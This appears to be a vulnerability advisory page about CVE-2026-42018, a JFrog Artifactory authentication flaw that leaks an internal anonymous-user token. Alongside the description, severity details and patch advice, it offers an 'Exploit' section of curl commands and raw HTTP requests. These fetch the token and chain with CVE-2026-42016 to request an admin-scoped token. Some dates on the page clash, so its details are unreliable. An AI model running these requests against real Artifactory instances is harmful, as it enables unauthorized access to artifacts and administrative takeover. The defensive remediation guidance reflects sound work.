Listen to this Post
CVE-2026-42018 is an improper authentication vulnerability (CWE-287) in JFrog Artifactory that allows a remote, unauthenticated attacker to obtain an internal anonymous-user token even when anonymous access is disabled on the instance. The flaw resides in the anonymous-user token generation logic. When an unauthenticated request is made to a specific Artifactory endpoint, the system fails to properly validate that anonymous access has been disabled before issuing a token. Instead of rejecting the request, Artifactory returns a valid JSON Web Token (JWT) associated with the internal anonymous user identity. This token is intended for internal system operations and is not meant to be exposed to external callers. An attacker can leverage this leaked token to authenticate to the Artifactory repository manager and access resources that would normally be available only to the internal anonymous identity. This can lead to the exposure of sensitive artifacts, repository metadata, and other confidential resources stored within the Artifactory instance. The vulnerability is particularly dangerous because it requires no privileges (PR:N) and no user interaction (UI:N), making it trivially exploitable over the network (AV:N) with low attack complexity (AC:L). With a CVSS 3.1 base score of 7.5, this issue represents a high-severity confidentiality impact (C:H) while integrity and availability remain unaffected (I:N/A:N). The flaw was discovered by Daniil Vylegzhanin of NetSPI. Exploitation has been observed in the wild as part of a chain with CVE-2026-42016, where attackers first obtain the anonymous token via CVE-2026-42018 and then use CVE-2026-42016 to escalate privileges, ultimately gaining administrative control over vulnerable Artifactory instances. The vulnerability affects multiple release branches, including versions prior to 7.111.20, 7.117.27, 7.125.19, 7.133.28, and 7.146.8. JFrog has addressed the issue by releasing patches across all supported branches, and the fix was first made available on the 7.146 branch on April 28, 2026, with broader branch coverage following. Given that the flaw allows unauthenticated token disclosure and has been actively exploited in real-world attacks, immediate remediation is strongly recommended for all affected deployments.
DailyCVE Form:
Platform: JFrog Artifactory
Version: <7.111.20, <7.117.27, <7.125.19, <7.133.28, <7.146.8
Vulnerability: Improper Authentication (CWE-287)
Severity: HIGH (CVSS 7.5)
date: 2026-08-12
Prediction: Patched 2026-04-28 (7.146 branch)
What Undercode Say:
Check Artifactory version
curl -s http://target:8081/artifactory/api/system/version | jq .version
Request anonymous token (exploit trigger)
curl -X POST http://target:8081/access/api/v1/aws/token/ \
-H "Content-Type: application/json" \
-d '{}'
Decode returned JWT to inspect claims
echo "<TOKEN>" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
Chain with CVE-2026-42016 for privilege escalation
curl -X POST http://target:8081/access/api/v1/tokens \
-H "Authorization: Bearer <ANON_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"scope":"applied-permissions/admin"}'
Exploit: (Educational Purposes!)
Step 1: Obtain internal anonymous token
POST /access/api/v1/aws/token/ HTTP/1.1
Host: vulnerable-artifactory:8081
Content-Type: application/json
Content-Length: 2
{}
Response contains JWT for internal anonymous user
Step 2: Use token to access sensitive resources
GET /artifactory/api/repositories HTTP/1.1
Host: vulnerable-artifactory:8081
Authorization: Bearer <ANONYMOUS_JWT>
Step 3: Chain with CVE-2026-42016 to escalate to admin
POST /access/api/v1/tokens HTTP/1.1
Host: vulnerable-artifactory:8081
Authorization: Bearer <ANONYMOUS_JWT>
Content-Type: application/json
{"scope":"applied-permissions/admin"}
Protection: from this CVE
- Upgrade to Artifactory 7.111.20, 7.117.27, 7.125.19, 7.133.28, or 7.146.8 (or later)
- Rotate the platform join key immediately after patching
- Revoke all access tokens issued since August 28, 2026
- Restrict network access to Artifactory management endpoints
- Monitor for unauthorized token generation via /access/api/v1/aws/token/
- Apply CISA KEV remediation guidance (federal agencies: by 2026-09-25)
Impact:
- Confidentiality: High — unauthorized access to sensitive artifacts, repository data, and internal resources
- Integrity: None — no direct modification capability from this CVE alone
- Availability: None — no denial-of-service impact
- Exploitation in the Wild: Confirmed — chained with CVE-2026-42016 for admin takeover
- Persistence: Attackers deploy malicious Groovy plugins and Rust-based backdoors post-exploitation
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
